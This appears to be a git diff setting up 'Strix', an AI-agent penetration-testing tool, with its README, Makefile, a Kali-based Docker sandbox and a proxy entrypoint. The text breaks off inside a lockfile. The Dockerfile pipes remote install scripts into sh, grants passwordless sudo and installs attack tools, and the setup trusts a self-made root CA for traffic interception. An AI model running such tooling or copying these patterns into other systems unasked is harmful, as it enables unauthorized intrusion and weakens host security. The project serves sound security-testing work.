those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2025 OmniSecure Inc. + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..c411cbe --- /dev/null +++ b/Makefile @@ -0,0 +1,90 @@ +.PHONY: help install dev-install format lint type-check test test-cov clean pre-commit setup-dev + +help: + @echo "Available commands:" + @echo " setup-dev - Install all development dependencies and setup pre-commit" + @echo " install - Install production dependencies" + @echo " dev-install - Install development dependencies" + @echo "" + @echo "Code Quality:" + @echo " format - Format code with ruff" + @echo " lint - Lint code with ruff and pylint" + @echo " type-check - Run type checking with mypy and pyright" + @echo " security - Run security checks with bandit" + @echo " check-all - Run all code quality checks" + @echo "" + @echo "Testing:" + @echo " test - Run tests with pytest" + @echo " test-cov - Run tests with coverage reporting" + @echo "" + @echo "Development:" + @echo " pre-commit - Run pre-commit hooks on all files" + @echo " clean - Clean up cache files and artifacts" + +install: + poetry install --only=main + +dev-install: + poetry install --with=dev + +setup-dev: dev-install + poetry run pre-commit install + @echo "✅ Development environment setup complete!" + @echo "Run 'make check-all' to verify everything works correctly." + +format: + @echo "🎨 Formatting code with ruff..." + poetry run ruff format . + @echo "✅ Code formatting complete!" + +lint: + @echo "🔍 Linting code with ruff..." + poetry run ruff check . --fix + @echo "📝 Running additional linting with pylint..." + poetry run pylint strix/ --score=no --reports=no + @echo "✅ Linting complete!" + +type-check: + @echo "🔍 Type checking with mypy..." + poetry run mypy strix/ + @echo "🔍 Type checking with pyright..." + poetry run pyright strix/ + @echo "✅ Type checking complete!" + +security: + @echo "🔒 Running security checks with bandit..." + poetry run bandit -r strix/ -c pyproject.toml + @echo "✅ Security checks complete!" + +check-all: format lint type-check security + @echo "✅ All code quality checks passed!" + +test: + @echo "🧪 Running tests..." + poetry run pytest -v + @echo "✅ Tests complete!" + +test-cov: + @echo "🧪 Running tests with coverage..." + poetry run pytest -v --cov=strix --cov-report=term-missing --cov-report=html + @echo "✅ Tests with coverage complete!" + @echo "📊 Coverage report generated in htmlcov/" + +pre-commit: + @echo "🔧 Running pre-commit hooks..." + poetry run pre-commit run --all-files + @echo "✅ Pre-commit hooks complete!" + +clean: + @echo "🧹 Cleaning up cache files..." + find . -type d -name "__pycache__" -exec rm -rf {} + 2>/dev/null || true + find . -type d -name ".pytest_cache" -exec rm -rf {} + 2>/dev/null || true + find . -type d -name ".mypy_cache" -exec rm -rf {} + 2>/dev/null || true + find . -type d -name ".ruff_cache" -exec rm -rf {} + 2>/dev/null || true + find . -type d -name "htmlcov" -exec rm -rf {} + 2>/dev/null || true + find . -name "*.pyc" -delete 2>/dev/null || true + find . -name ".coverage" -delete 2>/dev/null || true + @echo "✅ Cleanup complete!" + +dev: format lint type-check test + @echo "✅ Development cycle complete!" diff --git a/README.md b/README.md new file mode 100644 index 0000000..9d193da --- /dev/null +++ b/README.md @@ -0,0 +1,157 @@ +

+ +
+Strix Demo +
+ +--- + +## 🚨 The AI Security Crisis + +Everyone's shipping code faster than ever. Cursor, Windsurf, and Claude made coding easy - but QA and security testing are now the real bottlenecks. + +> **Number of security vulnerabilities doubled post-AI.** + +Traditional security tools weren't designed for this. SAST was a temporary fix when manual pentesting cost $10k+ and took weeks. Now, Strix delivers real security testing rapidly. + +**The solution:** Enable developers to use AI coding at full speed, without compromising on security. + +## 🦉 Strix Overview + +Strix are autonomous AI agents that act just like real hackers - they run your code dynamically, find vulnerabilities, and validate them through actual exploitation. Built for developers and security teams who need fast, accurate security testing without the overhead of manual pentesting or the false positives of static analysis tools. + +### 🚀 Quick Start + +```bash +# Install +pipx install strix-agent + +# Configure AI provider +export STRIX_LLM="anthropic/claude-sonnet-4-20250514" +export LLM_API_KEY="your-api-key" + +# Run security assessment +strix --target ./app-directory +``` + +## Why Use Strix + +- **Full Hacker Arsenal** - All the tools a professional hacker needs, built into the agents +- **Real Validation** - Dynamic testing and actual exploitation, thus much fewer false positives +- **Developer-First** - Seamlessly integrates into existing development workflows +- **Auto-Fix & Reporting** - Automated patching with detailed remediation and security reports + +## ✨ Features + +### 🛠️ Agentic Security Tools + +- **🔌 Full HTTP Proxy** - Full request/response manipulation and analysis +- **🌐 Browser Automation** - Multi-tab browser for testing of XSS, CSRF, auth flows +- **💻 Terminal Environments** - Interactive shells for command execution and testing +- **🐍 Python Runtime** - Custom exploit development and validation +- **🔍 Reconnaissance** - Automated OSINT and attack surface mapping +- **📁 Code Analysis** - Static and dynamic analysis capabilities +- **📝 Knowledge Management** - Structured findings and attack documentation + +### 🎯 Comprehensive Vulnerability Detection + +- **Access Control** - IDOR, privilege escalation, auth bypass +- **Injection Attacks** - SQL, NoSQL, command injection +- **Server-Side** - SSRF, XXE, deserialization flaws +- **Client-Side** - XSS, prototype pollution, DOM vulnerabilities +- **Business Logic** - Race conditions, workflow manipulation +- **Authentication** - JWT vulnerabilities, session management +- **Infrastructure** - Misconfigurations, exposed services + +### 🕸️ Graph of Agents + +- **Distributed Workflows** - Specialized agents for different attacks and assets +- **Scalable Testing** - Parallel execution for fast comprehensive coverage +- **Dynamic Coordination** - Agents collaborate and share discoveries + + +## 💻 Usage Examples + +```bash +# Local codebase analysis +strix --target ./app-directory + +# Repository security review +strix --target https://github.com/org/repo + +# Web application assessment +strix --target https://your-app.com + +# Focused testing +strix --target api.your-app.com --instruction "Prioritize authentication and authorization testing" +``` + +### ⚙️ Configuration + +```bash +# Required +export STRIX_LLM="anthropic/claude-sonnet-4-20250514" +export LLM_API_KEY="your-api-key" + +# Recommended +export PERPLEXITY_API_KEY="your-api-key" +``` + +[📚 View supported AI models](https://docs.litellm.ai/docs/providers) + +## 🏆 Enterprise Platform + +Our managed platform provides: + +- **📈 Executive Dashboards** +- **🧠 Custom Fine-Tuned Models** +- **⚙️ CI/CD Integration** +- **🔍 Large-Scale Scanning** +- **🔌 Third-Party Integrations** +- **🎯 Enterprise Support** + +[**Get Enterprise Demo →**](https://form.typeform.com/to/ljtvl6X0) + +## 🔒 Security Architecture + +- **Container Isolation** - All testing in sandboxed Docker environments +- **Local Processing** - Testing runs locally, no data sent to external services + +> [!NOTE] +> Strix is currently in Alpha. Expect rapid updates and improvements. + +> [!WARNING] +> Only test systems you own or have permission to test. You are responsible for using Strix ethically and legally. + +## 🌟 Support the Project + +**Love Strix?** Give us a ⭐ on GitHub! + +## 👥 Join Our Community + +Have questions? Found a bug? Want to contribute? **[Join our Discord!](https://discord.gg/yduEyduBsp)** + +--- + +
+ +### About • Links + +**[OmniSecure Inc.](https://omnisecure.ai)** • Applied AI Research Lab + +[Discord Community](https://discord.gg/yduEyduBsp) • [Enterprise Solutions](https://form.typeform.com/to/ljtvl6X0) • [Report Issues](https://github.com/usestrix/strix/issues) + +
diff --git a/containers/Dockerfile b/containers/Dockerfile new file mode 100644 index 0000000..5a5234d --- /dev/null +++ b/containers/Dockerfile @@ -0,0 +1,190 @@ +FROM kalilinux/kali-rolling:latest + +LABEL description="AI Agent Penetration Testing Environment with Comprehensive Automated Tools" + +RUN apt-get update && \ + apt-get install -y kali-archive-keyring sudo && \ + apt-get update && \ + apt-get upgrade -y + +RUN useradd -m -s /bin/bash pentester && \ + usermod -aG sudo pentester && \ + echo "pentester ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers + +RUN mkdir -p /home/pentester/configs \ + /home/pentester/wordlists \ + /home/pentester/output \ + /home/pentester/scripts \ + /home/pentester/tools \ + /app/runtime \ + /app/tools \ + /app/certs && \ + chown -R pentester:pentester /app/certs /home/pentester/tools + +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + wget curl git vim nano unzip tar \ + apt-transport-https ca-certificates gnupg lsb-release \ + build-essential software-properties-common \ + gcc libc6-dev pkg-config libpcap-dev libssl-dev \ + python3 python3-pip python3-dev python3-venv python3-setuptools \ + golang-go \ + net-tools dnsutils whois \ + jq parallel ripgrep grep \ + less man-db procps htop \ + iproute2 iputils-ping netcat-traditional \ + nmap ncat ndiff \ + sqlmap nuclei subfinder naabu ffuf \ + nodejs npm pipx \ + libcap2-bin \ + gdb \ + libnss3 libnspr4 libdbus-1-3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 libatspi2.0-0 \ + libxcomposite1 libxdamage1 libxfixes3 libxrandr2 libgbm1 libxkbcommon0 libpango-1.0-0 libcairo2 libasound2 \ + fonts-unifont fonts-noto-color-emoji fonts-freefont-ttf fonts-dejavu-core ttf-bitstream-vera \ + libnss3-tools + +RUN setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip $(which nmap) + +USER pentester +RUN openssl ecparam -name prime256v1 -genkey -noout -out /app/certs/ca.key && \ + openssl req -x509 -new -key /app/certs/ca.key \ + -out /app/certs/ca.crt \ + -days 3650 \ + -subj "/C=US/ST=CA/O=Security Testing/CN=Testing Root CA" \ + -addext "basicConstraints=critical,CA:TRUE" \ + -addext "keyUsage=critical,digitalSignature,keyEncipherment,keyCertSign" && \ + openssl pkcs12 -export \ + -out /app/certs/ca.p12 \ + -inkey /app/certs/ca.key \ + -in /app/certs/ca.crt \ + -passout pass:"" \ + -name "Testing Root CA" && \ + chmod 644 /app/certs/ca.crt && \ + chmod 600 /app/certs/ca.key && \ + chmod 600 /app/certs/ca.p12 + +USER root +RUN cp /app/certs/ca.crt /usr/local/share/ca-certificates/ca.crt && \ + update-ca-certificates + +RUN curl -sSL https://install.python-poetry.org | POETRY_HOME=/opt/poetry python3 - && \ + ln -s /opt/poetry/bin/poetry /usr/local/bin/poetry && \ + chmod +x /usr/local/bin/poetry && \ + python3 -m venv /app/venv && \ + chown -R pentester:pentester /app/venv /opt/poetry + +USER pentester +WORKDIR /tmp + +RUN go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest && \ + go install -v github.com/projectdiscovery/katana/cmd/katana@latest && \ + go install -v github.com/projectdiscovery/cvemap/cmd/vulnx@latest && \ + go install -v github.com/jaeles-project/gospider@latest && \ + go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest + +RUN nuclei -update-templates + +RUN pipx install arjun && \ + pipx install dirsearch && \ + pipx inject dirsearch setuptools && \ + pipx install wafw00f + +ENV NPM_CONFIG_PREFIX=/home/pentester/.npm-global +RUN mkdir -p /home/pentester/.npm-global + +RUN npm install -g retire@latest && \ + npm install -g eslint@latest && \ + npm install -g js-beautify@latest + +WORKDIR /home/pentester/tools +RUN git clone https://github.com/aravind0x7/JS-Snooper.git && \ + chmod +x JS-Snooper/js_snooper.sh && \ + git clone https://github.com/xchopath/jsniper.sh.git && \ + chmod +x jsniper.sh/jsniper.sh && \ + git clone https://github.com/ticarpi/jwt_tool.git && \ + chmod +x jwt_tool/jwt_tool.py + +USER root + +RUN curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin + +RUN apt-get update && apt-get install -y zaproxy + +RUN curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin + +RUN apt-get install -y wapiti + +USER pentester + +RUN pipx install semgrep && \ + pipx install bandit + +RUN npm install -g jshint + +USER root + +RUN apt-get autoremove -y && \ + apt-get autoclean && \ + rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* + +ENV PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:/app/venv/bin:$PATH" +ENV VIRTUAL_ENV="/app/venv" +ENV POETRY_HOME="/opt/poetry" + +WORKDIR /app + +RUN ARCH=$(uname -m) && \ + if [ "$ARCH" = "x86_64" ]; then \ + CAIDO_ARCH="x86_64"; \ + elif [ "$ARCH" = "aarch64" ] || [ "$ARCH" = "arm64" ]; then \ + CAIDO_ARCH="aarch64"; \ + else \ + echo "Unsupported architecture: $ARCH" && exit 1; \ + fi && \ + wget -O caido-cli.tar.gz https://caido.download/releases/v0.48.0/caido-cli-v0.48.0-linux-${CAIDO_ARCH}.tar.gz && \ + tar -xzf caido-cli.tar.gz && \ + chmod +x caido-cli && \ + rm caido-cli.tar.gz && \ + mv caido-cli /usr/local/bin/ + +ENV STRIX_SANDBOX_MODE=true +ENV PYTHONPATH=/app +ENV REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt +ENV SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt + +RUN mkdir -p /shared_workspace /workspace && chown -R pentester:pentester /shared_workspace /workspace /app + +COPY pyproject.toml poetry.lock ./ + +USER pentester +RUN poetry install --no-root --without dev +RUN poetry run playwright install chromium + +RUN /app/venv/bin/pip install -r /home/pentester/tools/jwt_tool/requirements.txt && \ + ln -s /home/pentester/tools/jwt_tool/jwt_tool.py /home/pentester/.local/bin/jwt_tool + +RUN echo "# Sandbox Environment" > README.md + +COPY strix/__init__.py strix/ +COPY strix/runtime/tool_server.py strix/runtime/__init__.py strix/runtime/runtime.py /app/strix/runtime/ + +COPY strix/tools/__init__.py strix/tools/registry.py strix/tools/executor.py strix/tools/argument_parser.py /app/strix/tools/ + +COPY strix/tools/browser/ /app/strix/tools/browser/ +COPY strix/tools/file_edit/ /app/strix/tools/file_edit/ +COPY strix/tools/notes/ /app/strix/tools/notes/ +COPY strix/tools/python/ /app/strix/tools/python/ +COPY strix/tools/terminal/ /app/strix/tools/terminal/ +COPY strix/tools/proxy/ /app/strix/tools/proxy/ + +RUN echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH"' >> /home/pentester/.bashrc && \ + echo 'export PATH="/home/pentester/go/bin:/home/pentester/.local/bin:/home/pentester/.npm-global/bin:$PATH"' >> /home/pentester/.profile + +USER root +COPY containers/docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh +RUN chmod +x /usr/local/bin/docker-entrypoint.sh + +USER pentester +WORKDIR /workspace + +ENTRYPOINT ["docker-entrypoint.sh"] diff --git a/containers/docker-entrypoint.sh b/containers/docker-entrypoint.sh new file mode 100644 index 0000000..10eea7a --- /dev/null +++ b/containers/docker-entrypoint.sh @@ -0,0 +1,128 @@ +#!/bin/bash +set -e + +if [ -z "$CAIDO_PORT" ] || [ -z "$STRIX_TOOL_SERVER_PORT" ]; then + echo "Error: CAIDO_PORT and STRIX_TOOL_SERVER_PORT must be set." + exit 1 +fi + +caido-cli --listen 127.0.0.1:${CAIDO_PORT} \ + --allow-guests \ + --no-logging \ + --no-open \ + --import-ca-cert /app/certs/ca.p12 \ + --import-ca-cert-pass "" > /dev/null 2>&1 & + +echo "Waiting for Caido API to be ready..." +for i in {1..30}; do + if curl -s -o /dev/null http://localhost:${CAIDO_PORT}/graphql; then + echo "Caido API is ready." + break + fi + sleep 1 +done + +sleep 2 + +echo "Fetching API token..." +TOKEN=$(curl -s -X POST \ + -H "Content-Type: application/json" \ + -d '{"query":"mutation LoginAsGuest { loginAsGuest { token { accessToken } } }"}' \ + http://localhost:${CAIDO_PORT}/graphql | jq -r '.data.loginAsGuest.token.accessToken') + +if [ -z "$TOKEN" ] || [ "$TOKEN" == "null" ]; then + echo "Failed to get API token from Caido." + curl -s -X POST -H "Content-Type: application/json" -d '{"query":"mutation { loginAsGuest { token { accessToken } } }"}' http://localhost:${CAIDO_PORT}/graphql + exit 1 +fi + +export CAIDO_API_TOKEN=$TOKEN +echo "Caido API token has been set." + +echo "Creating a new Caido project..." +CREATE_PROJECT_RESPONSE=$(curl -s -X POST \ + -H "Content-Type: application/json" \ + -H "Authorization: Bearer $TOKEN" \ + -d '{"query":"mutation CreateProject { createProject(input: {name: \"sandbox\", temporary: true}) { project { id } } }"}' \ + http://localhost:${CAIDO_PORT}/graphql) + +PROJECT_ID=$(echo $CREATE_PROJECT_RESPONSE | jq -r '.data.createProject.project.id') + +if [ -z "$PROJECT_ID" ] || [ "$PROJECT_ID" == "null" ]; then + echo "Failed to create Caido project." + echo "Response: $CREATE_PROJECT_RESPONSE" + exit 1 +fi + +echo "Caido project created with ID: $PROJECT_ID" + +echo "Selecting Caido project..." +SELECT_RESPONSE=$(curl -s -X POST \ + -H "Content-Type: application/json" \ + -H "Authorization: Bearer $TOKEN" \ + -d '{"query":"mutation SelectProject { selectProject(id: \"'$PROJECT_ID'\") { currentProject { project { id } } } }"}' \ + http://localhost:${CAIDO_PORT}/graphql) + +SELECTED_ID=$(echo $SELECT_RESPONSE | jq -r '.data.selectProject.currentProject.project.id') + +if [ "$SELECTED_ID" != "$PROJECT_ID" ]; then + echo "Failed to select Caido project." + echo "Response: $SELECT_RESPONSE" + exit 1 +fi + +echo "✅ Caido project selected successfully." + +echo "Configuring system-wide proxy settings..." + +cat << EOF | sudo tee /etc/profile.d/proxy.sh +export http_proxy=http://127.0.0.1:${CAIDO_PORT} +export https_proxy=http://127.0.0.1:${CAIDO_PORT} +export HTTP_PROXY=http://127.0.0.1:${CAIDO_PORT} +export HTTPS_PROXY=http://127.0.0.1:${CAIDO_PORT} +export ALL_PROXY=http://127.0.0.1:${CAIDO_PORT} +export REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt +export SSL_CERT_FILE=/etc/ssl/certs/ca-certificates.crt +export CAIDO_API_TOKEN=${TOKEN} +EOF + +cat << EOF | sudo tee /etc/environment +http_proxy=http://127.0.0.1:${CAIDO_PORT} +https_proxy=http://127.0.0.1:${CAIDO_PORT} +HTTP_PROXY=http://127.0.0.1:${CAIDO_PORT} +HTTPS_PROXY=http://127.0.0.1:${CAIDO_PORT} +ALL_PROXY=http://127.0.0.1:${CAIDO_PORT} +CAIDO_API_TOKEN=${TOKEN} +EOF + +cat << EOF | sudo tee /etc/wgetrc +use_proxy=yes +http_proxy=http://127.0.0.1:${CAIDO_PORT} +https_proxy=http://127.0.0.1:${CAIDO_PORT} +EOF + +echo "source /etc/profile.d/proxy.sh" >> ~/.bashrc +echo "source /etc/profile.d/proxy.sh" >> ~/.zshrc + +source /etc/profile.d/proxy.sh + +echo "✅ System-wide proxy configuration complete" + +echo "Adding CA to browser trust store..." +sudo -u pentester mkdir -p /home/pentester/.pki/nssdb +sudo -u pentester certutil -N -d sql:/home/pentester/.pki/nssdb --empty-password +sudo -u pentester certutil -A -n "Testing Root CA" -t "C,," -i /app/certs/ca.crt -d sql:/home/pentester/.pki/nssdb +echo "✅ CA added to browser trust store" + +echo "Starting tool server..." +cd /app && \ +STRIX_SANDBOX_MODE=true \ +STRIX_SANDBOX_TOKEN=${STRIX_SANDBOX_TOKEN} \ +CAIDO_API_TOKEN=${TOKEN} \ +poetry run uvicorn strix.runtime.tool_server:app --host 0.0.0.0 --port ${STRIX_TOOL_SERVER_PORT} & + +echo "✅ Tool server started in background" + +cd /workspace + +exec "$@" diff --git a/poetry.lock b/poetry.lock new file mode 100644 index 0000000..9083014 --- /dev/null +++ b/poetry.lock @@ -0,0 +1,6274 @@ +# This file is automatically @generated by Poetry 2.0.0 and should not be changed by hand. + +[[package]] +name = "aiohappyeyeballs" +version = "2.6.1" +description = "Happy Eyeballs for asyncio" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "aiohappyeyeballs-2.6.1-py3-none-any.whl", hash = "sha256:f349ba8f4b75cb25c99c5c2d84e997e485204d2902a9597802b0371f09331fb8"}, + {file = "aiohappyeyeballs-2.6.1.tar.gz", hash = "sha256:c3f9d0113123803ccadfdf3f0faa505bc78e6a72d1cc4806cbd719826e943558"}, +] + +[[package]] +name = "aiohttp" +version = "3.12.15" +description = "Async http client/server framework (asyncio)" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "aiohttp-3.12.15-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:b6fc902bff74d9b1879ad55f5404153e2b33a82e72a95c89cec5eb6cc9e92fbc"}, + {file = "aiohttp-3.12.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:098e92835b8119b54c693f2f88a1dec690e20798ca5f5fe5f0520245253ee0af"}, + {file = "aiohttp-3.12.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:40b3fee496a47c3b4a39a731954c06f0bd9bd3e8258c059a4beb76ac23f8e421"}, + {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2ce13fcfb0bb2f259fb42106cdc63fa5515fb85b7e87177267d89a771a660b79"}, + {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3beb14f053222b391bf9cf92ae82e0171067cc9c8f52453a0f1ec7c37df12a77"}, + {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4c39e87afe48aa3e814cac5f535bc6199180a53e38d3f51c5e2530f5aa4ec58c"}, + {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d5f1b4ce5bc528a6ee38dbf5f39bbf11dd127048726323b72b8e85769319ffc4"}, + {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1004e67962efabbaf3f03b11b4c43b834081c9e3f9b32b16a7d97d4708a9abe6"}, + {file = "aiohttp-3.12.15-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8faa08fcc2e411f7ab91d1541d9d597d3a90e9004180edb2072238c085eac8c2"}, + {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:fe086edf38b2222328cdf89af0dde2439ee173b8ad7cb659b4e4c6f385b2be3d"}, + {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:79b26fe467219add81d5e47b4a4ba0f2394e8b7c7c3198ed36609f9ba161aecb"}, + {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:b761bac1192ef24e16706d761aefcb581438b34b13a2f069a6d343ec8fb693a5"}, + {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:e153e8adacfe2af562861b72f8bc47f8a5c08e010ac94eebbe33dc21d677cd5b"}, + {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:fc49c4de44977aa8601a00edbf157e9a421f227aa7eb477d9e3df48343311065"}, + {file = "aiohttp-3.12.15-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:2776c7ec89c54a47029940177e75c8c07c29c66f73464784971d6a81904ce9d1"}, + {file = "aiohttp-3.12.15-cp310-cp310-win32.whl", hash = "sha256:2c7d81a277fa78b2203ab626ced1487420e8c11a8e373707ab72d189fcdad20a"}, + {file = "aiohttp-3.12.15-cp310-cp310-win_amd64.whl", hash = "sha256:83603f881e11f0f710f8e2327817c82e79431ec976448839f3cd05d7afe8f830"}, + {file = "aiohttp-3.12.15-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:d3ce17ce0220383a0f9ea07175eeaa6aa13ae5a41f30bc61d84df17f0e9b1117"}, + {file = "aiohttp-3.12.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:010cc9bbd06db80fe234d9003f67e97a10fe003bfbedb40da7d71c1008eda0fe"}, + {file = "aiohttp-3.12.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3f9d7c55b41ed687b9d7165b17672340187f87a773c98236c987f08c858145a9"}, + {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bc4fbc61bb3548d3b482f9ac7ddd0f18c67e4225aaa4e8552b9f1ac7e6bda9e5"}, + {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7fbc8a7c410bb3ad5d595bb7118147dfbb6449d862cc1125cf8867cb337e8728"}, + {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:74dad41b3458dbb0511e760fb355bb0b6689e0630de8a22b1b62a98777136e16"}, + {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3b6f0af863cf17e6222b1735a756d664159e58855da99cfe965134a3ff63b0b0"}, + {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b5b7fe4972d48a4da367043b8e023fb70a04d1490aa7d68800e465d1b97e493b"}, + {file = "aiohttp-3.12.15-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6443cca89553b7a5485331bc9bedb2342b08d073fa10b8c7d1c60579c4a7b9bd"}, + {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c5f40ec615e5264f44b4282ee27628cea221fcad52f27405b80abb346d9f3f8"}, + {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:2abbb216a1d3a2fe86dbd2edce20cdc5e9ad0be6378455b05ec7f77361b3ab50"}, + {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:db71ce547012a5420a39c1b744d485cfb823564d01d5d20805977f5ea1345676"}, + {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:ced339d7c9b5030abad5854aa5413a77565e5b6e6248ff927d3e174baf3badf7"}, + {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:7c7dd29c7b5bda137464dc9bfc738d7ceea46ff70309859ffde8c022e9b08ba7"}, + {file = "aiohttp-3.12.15-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:421da6fd326460517873274875c6c5a18ff225b40da2616083c5a34a7570b685"}, + {file = "aiohttp-3.12.15-cp311-cp311-win32.whl", hash = "sha256:4420cf9d179ec8dfe4be10e7d0fe47d6d606485512ea2265b0d8c5113372771b"}, + {file = "aiohttp-3.12.15-cp311-cp311-win_amd64.whl", hash = "sha256:edd533a07da85baa4b423ee8839e3e91681c7bfa19b04260a469ee94b778bf6d"}, + {file = "aiohttp-3.12.15-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:802d3868f5776e28f7bf69d349c26fc0efadb81676d0afa88ed00d98a26340b7"}, + {file = "aiohttp-3.12.15-cp312-cp312-macosx_10_13_x86_64.whl", 